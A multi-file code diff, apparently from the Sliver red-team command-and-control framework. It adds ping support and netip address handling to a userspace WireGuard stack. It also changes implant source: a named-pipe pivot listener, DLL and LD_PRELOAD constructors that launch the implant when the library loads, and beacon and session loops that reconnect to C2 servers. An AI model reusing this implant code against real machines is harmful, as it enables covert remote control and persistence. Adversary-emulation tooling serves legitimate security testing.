func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
|
||||
e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, *stack.GSO, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
|
||||
panic("not implemented")
|
||||
}
|
||||
|
||||
@@ -91,10 +101,10 @@ func (*endpoint) ARPHardwareType() header.ARPHardwareType {
|
||||
func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
|
||||
}
|
||||
|
||||
func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Net, error) {
|
||||
func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
|
||||
opts := stack.Options{
|
||||
NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol},
|
||||
TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
|
||||
HandleLocal: true,
|
||||
}
|
||||
dev := &netTun{
|
||||
@@ -109,17 +119,23 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
|
||||
}
|
||||
for _, ip := range localAddresses {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv4.ProtocolNumber, tcpip.Address(ip4))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if ip.Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else if ip.Is6() {
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
protoAddr := tcpip.ProtocolAddress{
|
||||
Protocol: protoNumber,
|
||||
AddressWithPrefix: tcpip.Address(ip.AsSlice()).WithPrefix(),
|
||||
}
|
||||
tcpipErr := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{})
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddProtocolAddress(%v): %v", ip, tcpipErr)
|
||||
}
|
||||
if ip.Is4() {
|
||||
dev.hasV4 = true
|
||||
} else {
|
||||
tcpipErr = dev.stack.AddAddress(1, ipv6.ProtocolNumber, tcpip.Address(ip))
|
||||
if tcpipErr != nil {
|
||||
return nil, nil, fmt.Errorf("AddAddress(%v): %v", ip4, tcpipErr)
|
||||
}
|
||||
} else if ip.Is6() {
|
||||
dev.hasV6 = true
|
||||
}
|
||||
}
|
||||
@@ -129,10 +145,6 @@ func CreateNetTUN(localAddresses, dnsServers []net.IP, mtu int) (tun.Device, *Ne
|
||||
if dev.hasV6 {
|
||||
dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
|
||||
}
|
||||
// tcpipErr = dev.stack.SetPromiscuousMode(1, true)
|
||||
// if tcpipErr != nil {
|
||||
// return nil, nil, fmt.Errorf("SetPromiscuousMode: %v", tcpipErr)
|
||||
// }
|
||||
|
||||
dev.events <- tun.EventUp
|
||||
return dev, (*Net)(dev), nil
|
||||
@@ -195,62 +207,291 @@ func (tun *netTun) MTU() (int, error) {
|
||||
return tun.mtu, nil
|
||||
}
|
||||
|
||||
func convertToFullAddr(ip net.IP, port int) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
if ip4 := ip.To4(); ip4 != nil {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip4),
|
||||
Port: uint16(port),
|
||||
}, ipv4.ProtocolNumber
|
||||
func convertToFullAddr(endpoint netip.AddrPort) (tcpip.FullAddress, tcpip.NetworkProtocolNumber) {
|
||||
var protoNumber tcpip.NetworkProtocolNumber
|
||||
if endpoint.Addr().Is4() {
|
||||
protoNumber = ipv4.ProtocolNumber
|
||||
} else {
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(ip),
|
||||
Port: uint16(port),
|
||||
}, ipv6.ProtocolNumber
|
||||
protoNumber = ipv6.ProtocolNumber
|
||||
}
|
||||
return tcpip.FullAddress{
|
||||
NIC: 1,
|
||||
Addr: tcpip.Address(endpoint.Addr().AsSlice()),
|
||||
Port: endpoint.Port(),
|
||||
}, protoNumber
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCPAddrPort(ctx context.Context, addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialContextTCP(ctx context.Context, addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialContextTCP(ctx, net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialTCPAddrPort(addr netip.AddrPort) (*gonet.TCPConn, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) DialTCP(addr *net.TCPAddr) (*gonet.TCPConn, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.DialTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.DialTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.DialTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCPAddrPort(addr netip.AddrPort) (*gonet.TCPListener, error) {
|
||||
fa, pn := convertToFullAddr(addr)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenTCP(addr *net.TCPAddr) (*gonet.TCPListener, error) {
|
||||
if addr == nil {
|
||||
panic("todo: deal with auto addr semantics for nil addr")
|
||||
return net.ListenTCPAddrPort(netip.AddrPort{})
|
||||
}
|
||||
fa, pn := convertToFullAddr(addr.IP, addr.Port)
|
||||
return gonet.ListenTCP(net.stack, fa, pn)
|
||||
ip, _ := netip.AddrFromSlice(addr.IP)
|
||||
return net.ListenTCPAddrPort(netip.AddrPortFrom(ip, uint16(addr.Port)))
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
func (net *Net) DialUDPAddrPort(laddr, raddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
var lfa, rfa *tcpip.FullAddress
|
||||
var pn tcpip.NetworkProtocolNumber
|
||||
if laddr != nil {
|
||||
if laddr.IsValid() || laddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(laddr.IP, laddr.Port)
|
||||
addr, pn = convertToFullAddr(laddr)
|
||||
lfa = &addr
|
||||
}
|
||||
if raddr != nil {
|
||||
if raddr.IsValid() || raddr.Port() > 0 {
|
||||
var addr tcpip.FullAddress
|
||||
addr, pn = convertToFullAddr(raddr.IP, raddr.Port)
|
||||
addr, pn = convertToFullAddr(raddr)
|
||||
rfa = &addr
|
||||
}
|
||||
return gonet.DialUDP(net.stack, lfa, rfa, pn)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDPAddrPort(laddr netip.AddrPort) (*gonet.UDPConn, error) {
|
||||
return net.DialUDPAddrPort(laddr, netip.AddrPort{})
|
||||
}
|
||||
|
||||
func (net *Net) DialUDP(laddr, raddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
var la, ra netip.AddrPort
|
||||
if laddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(laddr.IP)
|
||||
la = netip.AddrPortFrom(ip, uint16(laddr.Port))
|
||||
}
|
||||
if raddr != nil {
|
||||
ip, _ := netip.AddrFromSlice(raddr.IP)
|
||||
ra = netip.AddrPortFrom(ip, uint16(raddr.Port))
|
||||
}
|
||||
return net.DialUDPAddrPort(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenUDP(laddr *net.UDPAddr) (*gonet.UDPConn, error) {
|
||||
return net.DialUDP(laddr, nil)
|
||||
}
|
||||
|
||||
type PingConn struct {
|
||||
laddr PingAddr
|
||||
raddr PingAddr
|
||||
wq waiter.Queue
|
||||
ep tcpip.Endpoint
|
||||
deadline *time.Timer
|
||||
}
|
||||
|
||||
type PingAddr struct{ addr netip.Addr }
|
||||
|
||||
func (ia PingAddr) String() string {
|
||||
return ia.addr.String()
|
||||
}
|
||||
|
||||
func (ia PingAddr) Network() string {
|
||||
if ia.addr.Is4() {
|
||||
return "ping4"
|
||||
} else if ia.addr.Is6() {
|
||||
return "ping6"
|
||||
}
|
||||
return "ping"
|
||||
}
|
||||
|
||||
func (ia PingAddr) Addr() netip.Addr {
|
||||
return ia.addr
|
||||
}
|
||||
|
||||
func PingAddrFromAddr(addr netip.Addr) *PingAddr {
|
||||
return &PingAddr{addr}
|
||||
}
|
||||
|
||||
func (net *Net) DialPingAddr(laddr, raddr netip.Addr) (*PingConn, error) {
|
||||
if !laddr.IsValid() && !raddr.IsValid() {
|
||||
return nil, errors.New("ping dial: invalid address")
|
||||
}
|
||||
v6 := laddr.Is6() || raddr.Is6()
|
||||
bind := laddr.IsValid()
|
||||
if !bind {
|
||||
if v6 {
|
||||
laddr = netip.IPv6Unspecified()
|
||||
} else {
|
||||
laddr = netip.IPv4Unspecified()
|
||||
}
|
||||
}
|
||||
|
||||
tn := icmp.ProtocolNumber4
|
||||
pn := ipv4.ProtocolNumber
|
||||
if v6 {
|
||||
tn = icmp.ProtocolNumber6
|
||||
pn = ipv6.ProtocolNumber
|
||||
}
|
||||
|
||||
pc := &PingConn{
|
||||
laddr: PingAddr{laddr},
|
||||
deadline: time.NewTimer(time.Hour << 10),
|
||||
}
|
||||
pc.deadline.Stop()
|
||||
|
||||
ep, tcpipErr := net.stack.NewEndpoint(tn, pn, &pc.wq)
|
||||
if tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping socket: endpoint: %s", tcpipErr)
|
||||
}
|
||||
pc.ep = ep
|
||||
|
||||
if bind {
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(laddr, 0))
|
||||
if tcpipErr = pc.ep.Bind(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping bind: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
if raddr.IsValid() {
|
||||
pc.raddr = PingAddr{raddr}
|
||||
fa, _ := convertToFullAddr(netip.AddrPortFrom(raddr, 0))
|
||||
if tcpipErr = pc.ep.Connect(fa); tcpipErr != nil {
|
||||
return nil, fmt.Errorf("ping connect: %s", tcpipErr)
|
||||
}
|
||||
}
|
||||
|
||||
return pc, nil
|
||||
}
|
||||
|
||||
func (net *Net) ListenPingAddr(laddr netip.Addr) (*PingConn, error) {
|
||||
return net.DialPingAddr(laddr, netip.Addr{})
|
||||
}
|
||||
|
||||
func (net *Net) DialPing(laddr, raddr *PingAddr) (*PingConn, error) {
|
||||
var la, ra netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
if raddr != nil {
|
||||
ra = raddr.addr
|
||||
}
|
||||
return net.DialPingAddr(la, ra)
|
||||
}
|
||||
|
||||
func (net *Net) ListenPing(laddr *PingAddr) (*PingConn, error) {
|
||||
var la netip.Addr
|
||||
if laddr != nil {
|
||||
la = laddr.addr
|
||||
}
|
||||
return net.ListenPingAddr(la)
|
||||
}
|
||||
|
||||
func (pc *PingConn) LocalAddr() net.Addr {
|
||||
return pc.laddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) RemoteAddr() net.Addr {
|
||||
return pc.raddr
|
||||
}
|
||||
|
||||
func (pc *PingConn) Close() error {
|
||||
pc.deadline.Reset(0)
|
||||
pc.ep.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetWriteDeadline(t time.Time) error {
|
||||
return errors.New("not implemented")
|
||||
}
|
||||
|
||||
func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
|
||||
var na netip.Addr
|
||||
switch v := addr.(type) {
|
||||
case *PingAddr:
|
||||
na = v.addr
|
||||
case *net.IPAddr:
|
||||
na, _ = netip.AddrFromSlice(v.IP)
|
||||
default:
|
||||
return 0, fmt.Errorf("ping write: wrong net.Addr type")
|
||||
}
|
||||
if !((na.Is4() && pc.laddr.addr.Is4()) || (na.Is6() && pc.laddr.addr.Is6())) {
|
||||
return 0, fmt.Errorf("ping write: mismatched protocols")
|
||||
}
|
||||
|
||||
buf := buffer.NewViewFromBytes(p)
|
||||
rdr := buf.Reader()
|
||||
rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
|
||||
// won't block, no deadlines
|
||||
n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
|
||||
To: &rfa,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return int(n64), fmt.Errorf("ping write: %s", tcpipErr)
|
||||
}
|
||||
|
||||
return int(n64), nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Write(p []byte) (n int, err error) {
|
||||
return pc.WriteTo(p, &pc.raddr)
|
||||
}
|
||||
|
||||
func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
|
||||
e, notifyCh := waiter.NewChannelEntry(nil)
|
||||
pc.wq.EventRegister(&e, waiter.EventIn)
|
||||
defer pc.wq.EventUnregister(&e)
|
||||
|
||||
select {
|
||||
case <-pc.deadline.C:
|
||||
return 0, nil, os.ErrDeadlineExceeded
|
||||
case <-notifyCh:
|
||||
}
|
||||
|
||||
w := tcpip.SliceWriter(p)
|
||||
|
||||
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
|
||||
NeedRemoteAddr: true,
|
||||
})
|
||||
if tcpipErr != nil {
|
||||
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
|
||||
}
|
||||
|
||||
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
|
||||
return res.Count, &PingAddr{remoteAddr}, nil
|
||||
}
|
||||
|
||||
func (pc *PingConn) Read(p []byte) (n int, err error) {
|
||||
n, _, err = pc.ReadFrom(p)
|
||||
return
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetDeadline(t time.Time) error {
|
||||
// pc.SetWriteDeadline is unimplemented
|
||||
|
||||
return pc.SetReadDeadline(t)
|
||||
}
|
||||
|
||||
func (pc *PingConn) SetReadDeadline(t time.Time) error {
|
||||
pc.deadline.Reset(t.Sub(time.Now()))
|
||||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
errNoSuchHost = errors.New("no such host")
|
||||
errLameReferral = errors.New("lame referral")
|
||||
@@ -426,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
|
||||
return p, h, nil
|
||||
}
|
||||
|
||||
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
|
||||
q.Class = dnsmessage.ClassINET
|
||||
id, udpReq, tcpReq, err := newRequest(q)
|
||||
if err != nil {
|
||||
@@ -440,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
|
||||
var c net.Conn
|
||||
var err error
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
|
||||
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
|
||||
c.SetDeadline(d)
|
||||
err := c.SetDeadline(d)
|
||||
if err != nil {
|
||||
return dnsmessage.Parser{}, dnsmessage.Header{}, err
|
||||
}
|
||||
}
|
||||
var p dnsmessage.Parser
|
||||
var h dnsmessage.Header
|
||||
@@ -593,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
zlen = zidx
|
||||
}
|
||||
}
|
||||
if ip := net.ParseIP(host[:zlen]); ip != nil {
|
||||
return []string{host[:zlen]}, nil
|
||||
if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
|
||||
return []string{ip.String()}, nil
|
||||
}
|
||||
|
||||
if !isDomainName(host) {
|
||||
@@ -605,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
server string
|
||||
error
|
||||
}
|
||||
var addrsV4, addrsV6 []net.IP
|
||||
var addrsV4, addrsV6 []netip.Addr
|
||||
lanes := 0
|
||||
if tnet.hasV4 {
|
||||
lanes++
|
||||
@@ -660,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV4 = append(addrsV4, net.IP(a.A[:]))
|
||||
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
|
||||
|
||||
case dnsmessage.TypeAAAA:
|
||||
aaaa, err := result.p.AAAAResource()
|
||||
@@ -672,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
break loop
|
||||
}
|
||||
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
|
||||
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
|
||||
|
||||
default:
|
||||
if err := result.p.SkipAnswer(); err != nil {
|
||||
@@ -688,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
|
||||
}
|
||||
}
|
||||
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
|
||||
var addrs []net.IP
|
||||
var addrs []netip.Addr
|
||||
if tnet.hasV6 {
|
||||
addrs = append(addrsV6, addrsV4...)
|
||||
} else {
|
||||
@@ -725,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
|
||||
return now.Add(timeout), nil
|
||||
}
|
||||
|
||||
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
|
||||
|
||||
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
|
||||
if ctx == nil {
|
||||
panic("nil context")
|
||||
}
|
||||
var acceptV4, acceptV6, useUDP bool
|
||||
if len(network) == 3 {
|
||||
var acceptV4, acceptV6 bool
|
||||
matches := protoSplitter.FindStringSubmatch(network)
|
||||
if matches == nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
} else if len(matches[2]) == 0 {
|
||||
acceptV4 = true
|
||||
acceptV6 = true
|
||||
} else if len(network) == 4 {
|
||||
acceptV4 = network[3] == '4'
|
||||
acceptV6 = network[3] == '6'
|
||||
} else {
|
||||
acceptV4 = matches[2][0] == '4'
|
||||
acceptV6 = !acceptV4
|
||||
}
|
||||
if !acceptV4 && !acceptV6 {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
if network[:3] == "udp" {
|
||||
useUDP = true
|
||||
} else if network[:3] != "tcp" {
|
||||
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
|
||||
}
|
||||
host, sport, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err := strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
var host string
|
||||
var port int
|
||||
if matches[1] == "ping" {
|
||||
host = address
|
||||
} else {
|
||||
var sport string
|
||||
var err error
|
||||
host, sport, err = net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
port, err = strconv.Atoi(sport)
|
||||
if err != nil || port < 0 || port > 65535 {
|
||||
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
|
||||
}
|
||||
}
|
||||
allAddr, err := tnet.LookupContextHost(ctx, host)
|
||||
if err != nil {
|
||||
return nil, &net.OpError{Op: "dial", Err: err}
|
||||
}
|
||||
var addrs []net.IP
|
||||
var addrs []netip.AddrPort
|
||||
for _, addr := range allAddr {
|
||||
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
|
||||
addrs = append(addrs, net.ParseIP(addr))
|
||||
ip, err := netip.ParseAddr(addr)
|
||||
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
|
||||
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
|
||||
}
|
||||
}
|
||||
if len(addrs) == 0 && len(allAddr) != 0 {
|
||||
@@ -800,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
|
||||
}
|
||||
|
||||
var c net.Conn
|
||||
if useUDP {
|
||||
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
|
||||
} else {
|
||||
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
|
||||
switch matches[1] {
|
||||
case "tcp":
|
||||
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
|
||||
case "udp":
|
||||
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
|
||||
case "ping":
|
||||
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
|
||||
}
|
||||
if err == nil {
|
||||
return c, nil
|
||||
|
||||
@@ -19,6 +19,7 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -37,7 +38,7 @@ var (
|
||||
|
||||
// CreateNamedPipePivotListener - Starts a named pipe listener
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + address
|
||||
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
//SecurityDescriptor: "",
|
||||
RemoteClientMode: true,
|
||||
|
||||
+12
-7
@@ -1,6 +1,7 @@
|
||||
#include "sliver.h"
|
||||
|
||||
#ifdef __WIN32
|
||||
#include <windows.h>
|
||||
|
||||
DWORD WINAPI Start()
|
||||
{
|
||||
@@ -18,13 +19,13 @@ BOOL WINAPI DllMain(
|
||||
case DLL_PROCESS_ATTACH:
|
||||
// Initialize once for each new process.
|
||||
// Return FALSE to fail DLL load.
|
||||
{
|
||||
// {{if .Config.IsSharedLib}}
|
||||
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
|
||||
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
|
||||
// {{end}}
|
||||
}
|
||||
break;
|
||||
{
|
||||
// {{if .Config.RunAtLoad}}
|
||||
// CreateThread() because otherwise DllMain() is highly likely to deadlock.
|
||||
HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
|
||||
// {{end}}
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Perform any necessary cleanup.
|
||||
break;
|
||||
@@ -46,7 +47,9 @@ static void init(int argc, char **argv, char **envp)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
unsetenv("LD_PARAMS");
|
||||
// {{if .Config.RunAtLoad}}
|
||||
StartW();
|
||||
// {{end}}
|
||||
}
|
||||
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
|
||||
#elif __APPLE__
|
||||
@@ -57,7 +60,9 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
|
||||
{
|
||||
unsetenv("DYLD_INSERT_LIBRARIES");
|
||||
unsetenv("LD_PARAMS");
|
||||
// {{if .Config.RunAtLoad}}
|
||||
StartW();
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
#endif
|
||||
+28
-23
@@ -105,25 +105,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
for {
|
||||
select {
|
||||
default:
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
for connection := range connections {
|
||||
if connection == nil {
|
||||
break
|
||||
}
|
||||
err := sessionMainLoop(connection)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
}
|
||||
}
|
||||
reconnect := transports.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Reconnect sleep: %s", reconnect)
|
||||
// {{end}}
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
// {{if .Config.IsBeacon}}
|
||||
beaconStartup()
|
||||
// {{else}}
|
||||
sessionStartup()
|
||||
// {{end}}
|
||||
case c := <-r:
|
||||
switch c.Cmd {
|
||||
case svc.Interrogate:
|
||||
@@ -199,7 +185,16 @@ func main() {
|
||||
// {{else}}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
beaconStartup()
|
||||
// {{else}} ------- IsBeacon/IsSession -------
|
||||
sessionStartup()
|
||||
// {{end}}
|
||||
|
||||
// {{end}} ------- IsService -------
|
||||
}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
func beaconStartup() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
|
||||
// {{end}}
|
||||
@@ -227,9 +222,11 @@ func main() {
|
||||
// {{end}}
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
}
|
||||
|
||||
// {{else}} ------- IsBeacon/IsSession -------
|
||||
// {{else}}
|
||||
|
||||
func sessionStartup() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Running in session mode")
|
||||
// {{end}}
|
||||
@@ -254,11 +251,10 @@ func main() {
|
||||
// {{end}}
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// Register beacon
|
||||
@@ -311,16 +307,23 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// until all tasks complete (in success or failure), if a task handler blocks
|
||||
// forever it will simply block this set of tasks instead of the entire beacon
|
||||
errors := make(chan error)
|
||||
shortCircuit := make(chan struct{})
|
||||
for {
|
||||
duration := beacon.Duration()
|
||||
nextCheckin = time.Now().Add(duration)
|
||||
go func() {
|
||||
oldInterval := beacon.Interval()
|
||||
err := beaconMain(beacon, nextCheckin)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] main error: %v", nextCheckin)
|
||||
// {{end}}
|
||||
errors <- err
|
||||
} else if oldInterval != beacon.Interval() {
|
||||
// The beacon's interval was modified so we need to short circuit
|
||||
// the current sleep and tell the server when the next checkin will
|
||||
// be based on the new interval.
|
||||
shortCircuit <- struct{}{}
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -331,6 +334,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
case <-errors:
|
||||
return err
|
||||
case <-time.After(duration):
|
||||
case <-shortCircuit:
|
||||
// Short circuit current duration with no error
|
||||
}
|
||||
}
|
||||
return nil
|
||||
|
||||
@@ -30,8 +30,6 @@ import (
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
"strconv"
|
||||
|
||||
// {{if .Config.MTLSc2Enabled}}
|
||||
"crypto/tls"
|
||||
|
||||
@@ -52,6 +50,10 @@ import (
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
|
||||
"strconv"
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.DNSc2Enabled}}
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
|
||||
